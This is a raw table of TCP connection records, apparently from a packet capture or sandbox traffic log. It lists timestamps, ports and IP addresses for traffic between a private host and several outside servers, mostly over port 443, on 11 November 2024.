Nov 11, 2024 19:17:49.248843908 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:49.248914957 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:49.285423994 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.285494089 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.285535097 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.287504911 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.287645102 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.287691116 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.292254925 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.292262077 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.292277098 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.292282104 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.292718887 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.292743921 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.292761087 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.292768002 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.298755884 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:49.299401999 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:49.299424887 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:49.300328016 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:49.300379038 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:49.302642107 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:49.302714109 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:49.307334900 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.307367086 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.307527065 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.311953068 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.311970949 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.314590931 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.314635992 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.314865112 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.314865112 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.314894915 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.330708027 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.330784082 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.330837011 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.331773043 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.331893921 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.331943989 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.333216906 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.333750963 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.333805084 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.336302996 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.336330891 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.336355925 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.336361885 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.337897062 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.337923050 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.337934017 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.337939978 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.340085030 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.340085030 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.340111017 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.340125084 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.347388029 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.347431898 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.347507000 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.348105907 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.348157883 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.348206997 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.348601103 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.348613977 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.349139929 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.349153996 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.349200010 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.349342108 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.349349022 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.349750042 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.349771976 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.407285929 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:49.407294989 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:49.506628036 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:49.506695986 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:49.510525942 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:49.510540962 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:49.510876894 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:49.516166925 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:49.703453064 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:49.744784117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:49.744872093 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:49.829550028 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.830234051 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.863116026 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.865077019 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.868793011 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.924593925 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.924632072 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.925373077 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.925390005 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.925860882 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.925865889 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.926248074 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.926255941 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.926381111 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.926397085 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.926924944 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.926928997 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.932342052 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.932358980 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.933280945 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.933289051 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.935319901 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.935333967 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.936990023 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.936994076 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.014720917 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.014800072 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.014897108 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.014966965 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.015005112 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.016032934 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.016113997 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.016119957 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.016176939 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.024734020 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.024801016 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.025012970 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.025557995 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.025716066 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.026267052 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.111967087 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.111994982 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.112009048 CET	49811	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.112029076 CET	443	49811	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.113226891 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.113251925 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.113265038 CET	49813	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.113272905 CET	443	49813	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.114103079 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.114145041 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.114162922 CET	49814	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.114170074 CET	443	49814	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.115531921 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.115546942 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.115660906 CET	49810	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.115667105 CET	443	49810	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.121977091 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.122000933 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.122024059 CET	49812	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.122030020 CET	443	49812	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.619106054 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:50.619133949 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:50.619200945 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:50.619481087 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:50.619491100 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:50.660862923 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:50.660878897 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:50.661890030 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:50.663464069 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:50.663502932 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:50.663531065 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:50.685065985 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.685101032 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.685178041 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.693918943 CET	49823	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.693948984 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.694005013 CET	49823	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.710351944 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.710395098 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.710462093 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.710592031 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.710604906 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.711525917 CET	49823	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.711540937 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.712286949 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.712330103 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.712385893 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.712568045 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.712580919 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.714819908 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.717758894 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.717773914 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.718472004 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.718489885 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.718561888 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.718723059 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:50.718733072 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:50.759330034 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.793010950 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:50.798500061 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:50.952548981 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.952569962 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.952577114 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.952604055 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.952615976 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.952620983 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.952631950 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.952658892 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.952675104 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.952675104 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.952706099 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.953115940 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.953124046 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.953181982 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.953188896 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.969820976 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.969847918 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.969857931 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.969995975 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.970030069 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:50.970072031 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:50.996480942 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.069926977 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.069988966 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.073087931 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.073102951 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.073112965 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.073117971 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.077575922 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.077615023 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.077672005 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.078341961 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.078361988 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.080131054 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.080163956 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.080238104 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.080461979 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.080480099 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.088625908 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.088643074 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.088700056 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.089730978 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.089745045 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.123984098 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.124020100 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.124090910 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.124413013 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.124423981 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.215702057 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.225933075 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.226573944 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.226732969 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.268145084 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.269813061 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.336338043 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.336354971 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.338989973 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.338995934 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.339519978 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.339545012 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.340146065 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.340151072 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.340477943 CET	49823	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.340518951 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.341187000 CET	49823	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.341195107 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.341526031 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.341551065 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.342209101 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.342214108 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.342518091 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.342525959 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.343080997 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.343094110 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.343127966 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.343135118 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.343180895 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.343189955 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.343223095 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.343811035 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.347904921 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.347976923 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.350126028 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.350133896 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.350934982 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.350948095 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.351548910 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.351552963 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.353317976 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.353348017 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.353404045 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.361584902 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.361593962 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.428571939 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.428642035 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.428698063 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.429153919 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.429939032 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.429991961 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.430196047 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.430270910 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.430310011 CET	49823	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.432847977 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.432909966 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.432952881 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.440128088 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.440196037 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.440239906 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.440692902 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.440712929 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.440722942 CET	49826	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.440728903 CET	443	49826	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.450476885 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.450515032 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.450576067 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.450819969 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.450824976 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.450834990 CET	49824	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.450839043 CET	443	49824	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.451715946 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.451730967 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.454721928 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.454741955 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.454756021 CET	49825	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.454762936 CET	443	49825	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.471071005 CET	49823	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.471093893 CET	443	49823	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.475601912 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.475624084 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.475637913 CET	49822	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.475642920 CET	443	49822	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.486726999 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:51.486816883 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:51.510551929 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.511706114 CET	49838	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.511732101 CET	443	49838	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.511889935 CET	49838	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.513248920 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:51.513873100 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.513900995 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.513952017 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.515597105 CET	49838	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.515609026 CET	443	49838	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.517160892 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.517205954 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.517252922 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.517452955 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.517474890 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.517492056 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.517657995 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.517723083 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.517733097 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.519799948 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.519812107 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.520025015 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.520065069 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.520071983 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.525942087 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.525991917 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.526000977 CET	443	49821	142.250.185.225	192.168.2.7
